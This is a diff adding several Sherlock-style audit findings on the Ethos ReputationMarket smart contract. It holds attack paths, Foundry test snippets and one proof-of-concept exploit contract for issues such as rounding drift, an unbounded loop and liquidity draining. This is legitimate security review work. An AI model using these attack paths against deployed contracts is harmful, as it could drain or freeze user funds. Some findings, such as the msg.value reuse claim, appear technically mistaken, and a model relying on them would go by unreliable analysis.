addresses. + +### Internal Pre-conditions + +The initialize() function assigns critical roles (owner and admin) to single addresses. +There are no mechanisms for multi-signature validation or decentralized governance for these roles. + +### External Pre-conditions + +_No response_ + +### Attack Path + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L213 +An attacker gains access to the deployer’s private key (or the key of the designated owner or admin). +The attacker uses this key to execute critical actions, such as upgrading the contract or modifying key configurations. +The attacker exploits this control to disrupt the protocol or drain funds. + +### Impact + +The protocol suffers a complete loss of control and funds: + +Unauthorized actions such as upgrading the contract or modifying configurations can disrupt the system. +Users lose trust in the protocol, leading to reputational and financial damage. + +### PoC + +_No response_ + +### Mitigation + +1.Implement Multi-Signature Wallets: Require multi-signature validation for actions performed by owner and admin roles. +2.Decentralize Role Assignment: Transition critical roles to decentralized governance mechanisms after deployment. \ No newline at end of file diff --git a/012.md b/012.md new file mode 100644 index 0000000..0675d9e --- /dev/null +++ b/012.md @@ -0,0 +1,32 @@ +Nice Mercurial Albatross + +Medium + +# Reused msg value in the ReputationMarket.buyVotes function + +In any Ethereum transaction, the value of msg.value is a constant, representing the amount of ether sent with the transaction. If this variable is used in a loop with an expectation that it will be applied each time the loop runs, the code may be vulnerable to exploit by an attacker who can effectively reuse the same ether payment repeatedly. + +*The vulnerable code is located here:* +```ts +// https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L460 + + while (totalCostIncludingFees > msg.value) { + +// https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L486 + + uint256 refund = msg.value - totalCostIncludingFees; +``` + + +*Remediation and mitigation:* +To mitigate this bug, assign msg.value to a variable. +```diff ++ uint256 varValue = msg.value; ++ while (totalCostIncludingFees > varValue) { +- while (totalCostIncludingFees > msg.value) { ++ uint256 refund = varValue - totalCostIncludingFees; +- uint256 refund = msg.value - totalCostIncludingFees; + } +``` +The function now checks the dynamic varValue, rather than the invariant msg.value variable, to ensure that the buyer has paid for each individual vote. + diff --git a/013.md b/013.md new file mode 100644 index 0000000..325717a --- /dev/null +++ b/013.md @@ -0,0 +1,50 @@ +Urban Obsidian Jay + +High + +# Initial Liquidity Deposited as Part of Trading Could Be Consumed. + +### Summary +In L1057, the rounding mode is not optimal. +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1057 + +### Root Cause +In the `_calcCost()` function, the cost is rounded down for `TRUST` and rounded up for `DISTRUST`. +If there are more calls to buyVotes() than sellVotes() for `TRUST`, or fewer calls buyVotes() than sellVotes() for `DISTRUST`, the initial liquidity is decreased. + +### Internal pre-conditions +N/A + +### External pre-conditions +N/A + +### Attack Path +1. Buy one `TRUST` vote n times and then sell all these votes at once. +2. Buy n `DISTRUST` votes at once and then sell these one by one n times. +At this point the `marketFunds` is decreased by approximately `n-1`. +The expected value of a random number in the range [0,1) is 0.5. Thus, the decreased value can be approximated as: + `0.5 * (TRUST_buytimes - TRUST_selltimes) - 0.5 * (DISTRUST_buytimes - DISTRUST_selltimes) = (n-1)`. +This is not an exact value, but n could be larger as neccesary. Thus the initial Liquidity could be consumed. + +### Impact +In Summary: +>The contract must never pay out the initial liquidity deposited as part of trading. The only way to access those funds is to graduate the market. + +However, the initial liquidity could be consumed. + +### PoC +```solidity + function _calcCost( + ... + ) private pure returns (uint256 cost) { + ... + cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, +1057 isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil + ); + } + The +``` +### Mitigation +Consider adjusting the rounding mode in the calculation of cost separately when buying and selling to avoid unintended consumption of the initial liquidity. \ No newline at end of file diff --git a/014.md b/014.md new file mode 100644 index 0000000..5ad9634 --- /dev/null +++ b/014.md @@ -0,0 +1,82 @@ +Urban Obsidian Jay + +Medium + +# yes + no price may not be one + +# yes + no price may not be one + +### Summary +In LMSR.sol::L70, TRUST_priceRatio and DISTRUST_priceRatio are all rounding down. +Thus the sum of these values could be `1e18-1`. +As a result, ReputationMarket.sol::L1003, TRUST_VotePrice + DISTRUST_VotePrice could be less than market.basePrice. + +### Root Cause +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/utils/LMSR.sol#L70 + +### Internal pre-conditions +N/A + +### External pre-conditions +N/A + +### Attack Path +N/A + +### Impact +In Summary: +>Are there any limitations on values set by admins (or other roles) in the codebase, including restrictions on array lengths? +> - ... +> - Must maintain LMSR invariant (yes + no price sum to 1) + +However, the sum may not be one. + +### PoC +```solidity +ReputationMarket.sol + function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + // odds are in a ratio of N / 1e18 + uint256 odds = LMSR.getOdds( + market.votes[TRUST], + market.votes[DISTRUST], + market.liquidityParameter, + isPositive + ); + // multiply odds by base price to get price; divide by 1e18 to get price in wei + // round up for trust, down for distrust so that prices always equal basePrice + return +1003 odds.mulDiv(market.basePrice, 1e18, isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil); + } + +LMSR.sol + function getOdds( + uint256 yesVotes, + uint256 noVotes, + uint256 liquidityParameter, + bool isYes + ) public pure returns (uint256 ratio) { + // Compute exponentials e^(yes/b) and e^(no/b) + (UD60x18 yesExp, UD60x18 noExp) = _getExponentials(yesVotes, noVotes, liquidityParameter); + + // sumExp = e^(yes/b) + e^(no/b) + UD60x18 sumExp = yesExp.add(noExp); + + // priceRatio = e^(yes/b)/(sumExp) if isYes, else e^(no/b)/(sumExp) +70 UD60x18 priceRatio = isYes ? yesExp.div(sumExp) : noExp.div(sumExp); + + // Unwrap to get scaled ratio + ratio = unwrap(priceRatio); + } +``` +For example: +Assuming that : basePrice := 0.01e18, TRUST_priceRatio := 0.9e18-1, DISTRUST_priceRatio :=0.1e18. +At this point, + - TRUST_VotePrice = floor(TRUST_priceRatio * basePrice / 1e18) = 0.9e16 - 1. + - DISTRUST_VotePrice = ceil(DISTRUST_priceRatio * basePrice / 1e18) = 0.1e16. +As a result, TRUST_VotePrice + DISTRUST_VotePrice = 1e16 - 1 = basePrice - 1. + +### Mitigation +```diff +- UD60x18 priceRatio = isYes ? yesExp.div(sumExp) : noExp.div(sumExp); ++ UD60x18 priceRatio = isYes ? yesExp.div(sumExp) : 1e18 - yesExp.div(sumExp); +``` diff --git a/015.md b/015.md new file mode 100644 index 0000000..ad6f61b --- /dev/null +++ b/015.md @@ -0,0 +1,102 @@ +Urban Obsidian Jay + +High + +# Missing `minVotesToBuy`, `maxVotesToBuy` and `currentVotesToBuy` Check. + +### Summary +In `ReputationMarket.sol::buyVotes()`, there is no check for `minVotesToBuy`, `maxVotesToBuy`, and `currentVotesToBuy`. + +### Root Cause +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L474 + +### Internal pre-conditions +N/A + +### External pre-conditions +N/A + +### Attack Path +Malicious users may call the `buyVotes()` function with `minVotesToBuy = maxVotesToBuy = 0`. +As a result, `participants[profileId].length` could be increased unintentionally. + +### Impact +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L26 + +>* Graduation: the intent is that upon graduation, each holder of trust and distrust votes receives equivalent ERC-20 tokens +>* representing their position. These tokens will be freely tradable, without the reciprocal pricing mechanism of this contract. + +If the length of participants is increased unintentionally, after graduation, each holder of trust and distrust votes may not receive their ERC-20 tokens due to running out of gas. + +### PoC +```solidity +ReputationMarket.sol + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 maxVotesToBuy, + uint256 minVotesToBuy + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + // preliminary check to ensure this is enough money to buy the minimum requested votes. + (, , , uint256 total) = _calculateBuy(markets[profileId], isPositive, minVotesToBuy); + if (total > msg.value) revert InsufficientFunds(); + + ( + uint256 purchaseCostBeforeFees, + uint256 protocolFee, + uint256 donation, + uint256 totalCostIncludingFees + ) = _calculateBuy(markets[profileId], isPositive, maxVotesToBuy); + uint256 currentVotesToBuy = maxVotesToBuy; + // if the cost is greater than the maximum votes to buy, + // decrement vote count and recalculate until we identify the max number of votes they can afford + while (totalCostIncludingFees > msg.value) { + currentVotesToBuy--; + (purchaseCostBeforeFees, protocolFee, donation, totalCostIncludingFees) = _calculateBuy( + markets[profileId], + isPositive, + currentVotesToBuy + ); + } + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += currentVotesToBuy; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += currentVotesToBuy; + + // Add buyer to participants if not already a participant +474: if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // tally market funds + marketFunds[profileId] += purchaseCostBeforeFees; + + // Distribute the fees + applyFees(protocolFee, donation, profileId); + + // Calculate and refund remaining funds + uint256 refund = msg.value - totalCostIncludingFees; + if (refund > 0) _sendEth(refund); + emit VotesBought( + profileId, + msg.sender, + isPositive, + currentVotesToBuy, + totalCostIncludingFees, + block.timestamp + ); + _emitMarketUpdate(profileId); + } +``` + +### Mitigation +```diff ++ require(minVotesToBuy <= maxVotesToBuy,"") ++ if (currentVotesToBuy > 0) +474: if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } +``` diff --git a/016.md b/016.md new file mode 100644 index 0000000..57e9036 --- /dev/null +++ b/016.md @@ -0,0 +1,94 @@ +Nice Pearl Canary + +High + +# Liquidity Mismatch Leading to Potential Market Lock + +### **Summary and Impact** + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440-L497 + +The **Liquidity Mismatch** vulnerability in the `ReputationMarket` smart contract arises from improper handling of ETH funds during the purchase of votes. Specifically, when users execute the `buyVotes` function, the contract inaccurately tracks `marketFunds[profileId]` by adding the **pre-fee** purchase cost without accounting for the immediately deducted fees (protocol fees and donations). Over multiple transactions, this discrepancy causes `marketFunds` to reflect a higher value than the actual ETH balance held by the contract. + +**Impact:** +- **Market Lock Potential:** As `marketFunds[profileId]` becomes increasingly inflated relative to the contract's real ETH balance, future attempts to sell votes (`sellVotes`) may fail. This is because the contract may not possess sufficient ETH to honor the withdrawal, causing transactions to revert. +- **User Experience Degradation:** Users attempting to sell their votes may face unexpected failures, undermining trust in the protocol's reliability. +- **Financial Implications:** Although funds are not directly stolen, the inability to sell votes can trap user funds within the market, leading to potential financial loss and reduced market liquidity. + +While the vulnerability does not directly result in loss or theft of funds, the risk of market freeze and user inability to exit positions presents a significant operational concern, warranting a **Medium** severity classification. + +--- + +### **Vulnerability Details** + +The `ReputationMarket` contract's `buyVotes` function improperly updates the `marketFunds` mapping by adding the **gross** purchase cost before fees are deducted. This oversight leads to an imbalance between the tracked `marketFunds` and the actual ETH held by the contract. Over time, this mismatch can cause the contract to run out of ETH relative to the `marketFunds` recorded, preventing successful executions of the `sellVotes` function. + +#### **Code Snippet** + +```solidity +function buyVotes( + uint256 profileId, + bool isPositive, + uint256 maxVotesToBuy, + uint256 minVotesToBuy +) public payable whenNotPaused activeMarket(profileId) nonReentrant { + // ... [omitted for brevity] + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += currentVotesToBuy; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += currentVotesToBuy; + + // Tally market funds + marketFunds[profileId] += purchaseCostBeforeFees; // Incorrect: Adds pre-fee amount + + // Distribute the fees + applyFees(protocolFee, donation, profileId); + + // ... [omitted for brevity] +} +``` + +**Issue:** +- The line `marketFunds[profileId] += purchaseCostBeforeFees;` adds the total purchase cost **before** deducting fees. +- Subsequently, `applyFees(protocolFee, donation, profileId);` deducts fees from the contract's ETH balance but does not adjust `marketFunds` accordingly. +- This results in `marketFunds[profileId]` being **greater** than the actual ETH available in the contract. + +#### **Test Code Snippet** + +```solidity +function testLiquidityMismatch() public { + // Let user1 create a market for their profile + vm.prank(user1); + repMarket.createMarket{value: 2 ether}(); + + // User2 performs multiple buys + vm.startPrank(user2); + repMarket.buyVotes{value: 1 ether}(profileIdUser1, true, 100, 50); + repMarket.buyVotes{value: 1 ether}(profileIdUser1, true, 100, 50); + vm.stopPrank(); + + // User2 attempts to sell votes exceeding available ETH + vm.startPrank(user2); + vm.expectRevert(); + repMarket.sellVotes(profileIdUser1, true, 200, 0); // Expected to revert due to insufficient ETH + vm.stopPrank(); +} +``` + +**Explanation:** +1. **Market Creation:** An admin (`user1`) creates a reputation market with an initial ETH deposit. +2. **Multiple Buys:** Another user (`user2`) buys votes twice, each time sending ETH that includes fees. However, `marketFunds` is incremented by the total purchase cost **before** fees are deducted. +3. **Sell Attempt:** When `user2` attempts to sell votes, the contract checks if `marketFunds` can cover the proceeds. Due to the earlier mismatch, the actual ETH balance may be insufficient, causing the transaction to revert and effectively locking the market. + +--- + +### **Tools Used** +- **Manual Review** +- **Foundry** + +--- + +### **Recommendations** + +**Adjust `marketFunds` by Net Purchase Cost** + \ No newline at end of file diff --git a/017.md b/017.md new file mode 100644 index 0000000..e1f8bcc --- /dev/null +++ b/017.md @@ -0,0 +1,102 @@ +Nice Pearl Canary + +Medium + +# Unbounded Loop in `buyVotes` Function Leading to Potential Denial-of-Service + +### **Summary and Impact** + + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440-L497 + +The `buyVotes` function within the `ReputationMarket` smart contract contains an unbounded loop that can be exploited to cause a Denial-of-Service (DoS) condition. Specifically, when a user attempts to purchase an excessively large number of votes (`maxVotesToBuy`) with insufficient ETH (`msg.value`), the function enters a while-loop that decrements `currentVotesToBuy` iteratively until the cost of purchasing the votes is less than or equal to the sent ETH. This linear decrement approach does not impose a strict upper limit on the number of iterations, potentially leading to transactions that consume excessive gas and ultimately revert. + +**Impact:** +- **User Experience Degradation:** Users attempting legitimate large purchases may encounter failed transactions due to gas exhaustion. +- **System Reliability:** Repeated failed transactions can disrupt the normal operation of the Reputation Market, affecting trust and usability. +- **Integration Risks:** If external systems or aggregators rely on successful execution of `buyVotes`, they may experience operational issues or unintended behavior. + +While the vulnerability primarily affects individual transactions, its presence can undermine the reliability and robustness of the Reputation Market, warranting attention to prevent potential disruptions. + +--- + +### **Vulnerability Details** + +The vulnerability stems from the implementation of an unbounded while-loop within the `buyVotes` function. This loop is intended to decrement the number of votes to purchase (`currentVotesToBuy`) until the cost is within the user's sent ETH (`msg.value`). However, without a mechanism to cap the number of iterations or ensure termination, an attacker can exploit this by setting `maxVotesToBuy` to an excessively high value, causing the loop to run indefinitely until the transaction exceeds the block gas limit and reverts. + +#### **Code Snippet** + +```solidity +function buyVotes( + uint256 profileId, + bool isPositive, + uint256 maxVotesToBuy, + uint256 minVotesToBuy +) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + // preliminary check to ensure this is enough money to buy the minimum requested votes. + (, , , uint256 total) = _calculateBuy(markets[profileId], isPositive, minVotesToBuy); + if (total > msg.value) revert InsufficientFunds(); + + ( + uint256 purchaseCostBeforeFees, + uint256 protocolFee, + uint256 donation, + uint256 totalCostIncludingFees + ) = _calculateBuy(markets[profileId], isPositive, maxVotesToBuy); + uint256 currentVotesToBuy = maxVotesToBuy; + // if the cost is greater than the maximum votes to buy, + // decrement vote count and recalculate until we identify the max number of votes they can afford + while (totalCostIncludingFees > msg.value) { + currentVotesToBuy--; + (purchaseCostBeforeFees, protocolFee, donation, totalCostIncludingFees) = _calculateBuy( + markets[profileId], + isPositive, + currentVotesToBuy + ); + } + + // ... rest of the function ... +} +``` + +#### **Test Code Snippet** + +```solidity +// Attempt to buy an excessively large number of votes with insufficient ETH +function testUnboundedLoop() public { + // Arrange + uint256 profileId = 42; + bool isPositive = true; + uint256 maxVotesToBuy = 9999999999; // Extremely large number + uint256 minVotesToBuy = 1; + uint256 msgValue = 0.5 ether; // Insufficient ETH + + // Act & Assert + // Expect the transaction to revert due to gas exhaustion + vm.expectRevert(); + reputationMarket.buyVotes{value: msgValue}(profileId, isPositive, maxVotesToBuy, minVotesToBuy); +} +``` + +**Exploit Scenario:** +1. **Initialization:** A user invokes the `buyVotes` function with a `maxVotesToBuy` value set to a very high number (e.g., 9,999,999,999) and sends insufficient ETH (`msg.value`). +2. **Loop Execution:** The function enters a while-loop, decrementing `currentVotesToBuy` by one in each iteration and recalculating the total cost. +3. **Gas Consumption:** Due to the high initial `maxVotesToBuy`, the loop may execute millions or billions of times, consuming significant gas. +4. **Transaction Reversion:** The transaction ultimately fails when the gas limit is exceeded, causing the entire call to revert. + +This behavior effectively DoS-es the function for the user attempting the exploit and can indirectly affect other system components reliant on successful executions of `buyVotes`. + +--- + +### **Tools Used** +- **Manual Review** +- **Foundry** + +--- + +### **Recommendations** + + **Adopt a Binary Search Approach:** + - Replace the linear decrement with a binary search algorithm to determine the maximum affordable `currentVotesToBuy` in logarithmic time. + - This significantly reduces gas consumption and ensures the function terminates efficiently. diff --git a/018.md b/018.md new file mode 100644 index 0000000..e08c2ac --- /dev/null +++ b/018.md @@ -0,0 +1,104 @@ +Nice Pearl Canary + +Medium + +# Unbounded Growth of `participants[profileId]` Array + +### **Summary and Impact** + + + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440-L497 + + +The `ReputationMarket` smart contract exhibits an unbounded growth vulnerability within the `participants[profileId]` array. Specifically, every time a user buys votes, their address is appended to the `participants` array without any mechanism to remove or manage existing entries. Over time, especially for popular profiles, this array can grow excessively large. + +**Impact:** +- **Gas Consumption:** As the `participants` array grows indefinitely, any future on-chain operations that involve iterating over this array will become increasingly gas-intensive. This can lead to transactions exceeding block gas limits, rendering certain functionalities unusable. +- **Performance Degradation:** Operations dependent on the size of the `participants` array will suffer in performance, potentially affecting user experience and contract reliability. +- **Future Vulnerabilities:** An oversized array may introduce unforeseen vulnerabilities or make the contract susceptible to denial-of-service (DoS) attacks, where malicious actors exploit the high gas costs to disrupt contract functionality. + +This vulnerability is classified as **Medium** because, while it does not directly result in financial loss or immediate contract failure, it poses significant risks to the scalability and future usability of the contract. + +--- + +### **Vulnerability Details** + +The vulnerability stems from the unbounded growth of the `participants[profileId]` array within the `ReputationMarket` contract. Each time a user interacts with the market (e.g., buying votes), their address is added to the `participants` array without any checks to prevent duplicates or mechanisms to remove addresses that no longer hold votes. + +#### **Code Snippet** + +```solidity +// ReputationMarket.sol + +// Adding a new participant +participants[profileId].push(msg.sender); +isParticipant[profileId][msg.sender] = true; +``` + +These lines are located within functions that handle vote purchases, such as `buyVotes`. + +#### **Test Code Snippet** + +```solidity + +function testUnboundedParticipantGrowth() public { + // Step 1: Create a new market for mockProfileId + vm.deal(address(this), 1 ether); + reputationMarket.createMarketWithConfig{value: 0.2 ether}(0); + + // Step 2: Have user1 buy votes -> This should add user1 to participants + vm.deal(user1, 1 ether); + vm.startPrank(user1); + reputationMarket.buyVotes{value: 0.01 ether}(mockProfileId, true, 1, 1); + vm.stopPrank(); + + // Step 3: Have user2 buy votes -> This should add user2 + vm.deal(user2, 1 ether); + vm.startPrank(user2); + reputationMarket.buyVotes{value: 0.01 ether}(mockProfileId, true, 1, 1); + vm.stopPrank(); + + // Step 4: Have user3 buy & then sell + vm.deal(user3, 1 ether); + vm.startPrank(user3); + reputationMarket.buyVotes{value: 0.01 ether}(mockProfileId, false, 1, 1); + // Sell everything + reputationMarket.sellVotes(mockProfileId, false, 1, 0); + vm.stopPrank(); + + // Check participant count + uint256 participantCount = reputationMarket.getParticipantCount(mockProfileId); + console.log("Participant Count after user1, user2, user3 (who sold all):", participantCount); + + // Assert that participantCount is 3 + assertEq(participantCount, 3, "Participant array should have 3 addresses total."); +} +``` + +**Explanation:** + +1. **Market Creation:** A new reputation market is created for a mock profile ID. +2. **User Interactions:** + - `user1` buys votes, resulting in their address being added to the `participants` array. + - `user2` similarly buys votes, adding their address. + - `user3` buys and then sells all their votes. Despite selling, their address remains in the `participants` array. +3. **Verification:** The test asserts that the `participants` array contains all three users, demonstrating that even after selling all votes, participants are not removed, leading to unbounded growth. + +--- + +### **Tools Used** +- **Manual Review** +- **Foundry** + +--- + +### **Recommendations** + +To mitigate the unbounded growth of the `participants[profileId]` array, the following strategies should be implemented: + + **Participant Removal Mechanism:** + - Implement functionality to remove a participant from the `participants` array when they no longer hold any votes. This can be triggered when a user sells all their votes. + - **Considerations:** + - Removing elements from an array in Solidity can be gas-intensive. To optimize, consider using a mapping with an enumerable set or indexing system. + - Alternatively, maintain an off-chain record of participants and avoid on-chain enumerations entirely. \ No newline at end of file diff --git a/019.md b/019.md new file mode 100644 index 0000000..8a95623 --- /dev/null +++ b/019.md @@ -0,0 +1,105 @@ +Nice Pearl Canary + +Medium + +# Permanent Market Freeze Through Liquidity Exhaustion + +### **Summary and Impact** + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L539-L578 + +The **Permanent Market Freeze Through Liquidity Exhaustion** vulnerability in the `ReputationMarket.sol` contract allows malicious actors to deplete the market’s liquidity, rendering the market permanently inactive. This occurs through the exploitation of the `sellVotes()` function, which inadequately manages the reduction of `marketFunds` when users sell their votes. + +**Impact:** +- **Market Inaccessibility:** Once liquidity is drained below a critical threshold, the market becomes unusable for all participants. Remaining vote holders are unable to exit their positions, effectively locking their assets. +- **Operational Disruption:** The inability to perform trades compromises the core functionality of the Reputation Market, undermining user trust and the protocol’s integrity. +- **Dependency on Graduation:** Resolving the freeze requires market graduation, which may not be promptly actionable, prolonging the market’s inaccessibility. + +While the issue does not directly result in financial loss or unauthorized access, it disrupts the intended operations and user interactions within the protocol, justifying a medium severity classification. + +--- + +### **Vulnerability Details** + +The vulnerability arises from the `sellVotes()` function in the `ReputationMarket.sol` contract. Specifically, the function allows users to sell their votes without enforcing a safeguard to prevent the depletion of `marketFunds` below an operational threshold. This oversight enables attackers to drain the market’s liquidity, leading to a permanent freeze of the market. + +#### **Code Snippet** + +```solidity +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 votesToSell, + uint256 minimumVotePrice +) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + (uint256 proceedsBeforeFees, uint256 protocolFee, uint256 proceedsAfterFees) = _calculateSell( + markets[profileId], + profileId, + isPositive, + votesToSell + ); + + uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } + + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + // Tally market funds + marketFunds[profileId] -= proceedsBeforeFees; + + // Apply protocol fees + applyFees(protocolFee, 0, profileId); + + // Send the proceeds to the seller + _sendEth(proceedsAfterFees); + + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesToSell, + proceedsAfterFees, + block.timestamp + ); + _emitMarketUpdate(profileId); +} +``` + +#### **Exploit Steps:** + +1. **Market Creation and Initial Setup:** + - An attacker (User2) acquires a significant number of votes by purchasing them through `buyVotes()`. + - The attacker ensures that the market is active and holds enough votes to influence liquidity. + +2. **Liquidity Drainage:** + - The attacker initiates multiple `sellVotes()` transactions to withdraw ETH from the market. + - Each sell operation reduces `marketFunds[profileId]` by `proceedsBeforeFees` without verifying whether the remaining funds are sufficient for future transactions. + +3. **Market Freeze:** + - After draining a substantial portion of `marketFunds`, the attacker performs a final `sellVotes()` operation that reduces liquidity below the operational threshold. + - Subsequent users attempting to sell their votes encounter insufficient funds, effectively freezing the market. + +#### **Violation of Invariants:** + +The contract’s invariant stipulates that **the contract must never pay out the initial liquidity deposited as part of trading**. However, the `sellVotes()` function allows `marketFunds` to be reduced without enforcing a lower bound, thereby violating this invariant. This oversight enables the market's liquidity to be exhausted, contradicting the system's expected behavior of maintaining operational funds until market graduation. + +--- + +### **Tools Used** + + **Manual Review** + **Foundry** +--- + +### **Recommendations** + +To mitigate the **Permanent Market Freeze Through Liquidity Exhaustion** vulnerability, the following measures are recommended: + +1. **Implement a Minimum Liquidity Reserve:** + - Introduce a minimum threshold for `marketFunds` that must remain untouched to ensure ongoing market operations. + - Modify the `sellVotes()` function to include a check that prevents `marketFunds[profileId]` from dropping below this reserve. + + \ No newline at end of file diff --git a/020.md b/020.md new file mode 100644 index 0000000..1c6fecf --- /dev/null +++ b/020.md @@ -0,0 +1,72 @@ +Broad Grey Dragon + +Medium + +# Incorrect State Update in marketFunds in buyVotes Function + +# Summary +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L480 +The current code adds the full purchaseCostBeforeFees to the marketFunds[profileId] without considering the protocol fee and donation, which are deducted later in the function. This leads to an incorrect state of marketFunds, as it does not reflect the actual funds added to the market after fees. +# Vulnerability Details +### Vulnerability Type: Incorrect state update (due to premature accounting). +### Affected Code: +```solidity + +marketFunds[profileId] += purchaseCostBeforeFees; +``` +Cause: The funds are added to marketFunds before subtracting the protocol fee and donation, leading to an inflated marketFunds value. +Nature of the Issue: The marketFunds reflects more ETH than it should because the fees (protocol fee and donation) are not accounted for when updating it. +# Impact +Incorrect Accounting: marketFunds[profileId] will incorrectly track the funds in the market, as it will reflect the full amount before fees are deducted. This could cause inconsistencies in the contract's financial data. +# Poc +## PoC Code: +```solidity + +// Assume ReputationMarket.sol has already been deployed +contract ExploitReputationMarket { + + ReputationMarket reputationMarket; // Reference to the ReputationMarket contract + + // Constructor to set the ReputationMarket contract address + constructor(address _reputationMarket) { + reputationMarket = ReputationMarket(_reputationMarket); + } + + // Exploiting the vulnerability by sending more ETH than needed + function exploitBuyVotes(uint256 profileId, uint256 maxVotesToBuy, uint256 minVotesToBuy) external payable { + uint256 amountSent = msg.value; // Store the amount sent by the attacker + + // Call buyVotes function, which will attempt to buy votes and potentially refund excess ETH + reputationMarket.buyVotes{value: amountSent}( + profileId, + true, // Buy trust votes + maxVotesToBuy, + minVotesToBuy + ); + + // Malicious actor may attempt to manipulate the marketFunds state by exploiting refund logic + // If any refund is issued, the state of marketFunds might not be accurately updated + } + + // Function to check the current marketFunds of a profile + function getMarketFunds(uint256 profileId) external view returns (uint256) { + return reputationMarket.marketFunds(profileId); + } +} +``` +## Steps in the PoC: +### Setup: + +The attacker deploys an ExploitReputationMarket contract and links it to the deployed ReputationMarket contract. +### Exploiting buyVotes: + +The attacker calls the buyVotes function of the ReputationMarket contract. +The attacker sends more ETH than required, which triggers a refund logic where the excess funds are returned to the attacker. +### Vulnerability Exploitation: + +Due to the improper handling of the refund process (especially the state update of marketFunds after the refund), the contract's internal marketFunds balance may get incorrectly updated. +The contract’s state is manipulated, and the marketFunds balance may not reflect the actual transaction, potentially leading to incorrect balances that can be exploited. +# Mitigation Recommendation: +Ensure that the state of marketFunds is correctly updated after every transaction, including refunds. +Use checks to validate that the transaction amount, fees, and refunds are correctly handled and consistently updated in the state. + diff --git a/021.md b/021.md new file mode 100644 index 0000000..b9c6c80 --- /dev/null +++ b/021.md @@ -0,0 +1,59 @@ +Urban Obsidian Jay + +High + +# The `updateDonationRecipient()` Function is Not Safe. + +### Summary +When a user with multiple markets calls the `updateDonationRecipient()` function, the user risks lossing funds. + +### Root Cause +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L642 + +### Internal pre-conditions +N/A + +### External pre-conditions +N/A + +### Attack Path +N/A + +### Impact +Potential loss of funds. + +### PoC +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/EthosProfile.sol#L415 +The vulnerability can be demonstrated through the following link, which shows it is possible that a deleted address from one profile can be re-registered to another profile. +As a result, there are some users who have multiple markets. + +```solidity + function updateDonationRecipient( + uint256 profileId, + address newRecipient + ) public whenNotPaused nonReentrant { + if (newRecipient == address(0)) revert ZeroAddress(); + + // if the new donation recipient has a balance, do not allow overwriting + if (donationEscrow[newRecipient] != 0) + revert InvalidMarketConfigOption("Donation recipient has balance"); + + // Ensure the sender is the current donation recipient + if (msg.sender != donationRecipient[profileId]) revert InvalidProfileId(); + + // Ensure the new recipient has the same Ethos profileId + uint256 recipientProfileId = _ethosProfileContract().verifiedProfileIdForAddress(newRecipient); + if (recipientProfileId != profileId) revert InvalidProfileId(); + + // Update the donation recipient reference + donationRecipient[profileId] = newRecipient; + // Swap the current donation balance to the new recipient + donationEscrow[newRecipient] += donationEscrow[msg.sender]; +642 donationEscrow[msg.sender] = 0; + emit DonationRecipientUpdated(profileId, msg.sender, newRecipient); + } +``` +At line 642, the function sets donationEscrow[msg.sender] to zero after transferring the funds to newRecipient. This can lead to unintended loss of funds, particularly for users with multiple markets. + +### Mitigation +Consider using the profileId as parameters for the donationEscrow. \ No newline at end of file diff --git a/022.md b/022.md new file mode 100644 index 0000000..201def3 --- /dev/null +++ b/022.md @@ -0,0 +1,31 @@ +Fun Tiger Horse + +Medium + +# Slippage in sellVotes() should be calculated based on proceedsAfterFees instead of proceedsBeforeFees + +## Description +The slippage in `sellVotes()` is [calculated based on `proceedsBeforeFees`](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L553-L556): +```js + @--> uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } +``` + +The seller is going to ultimately receive 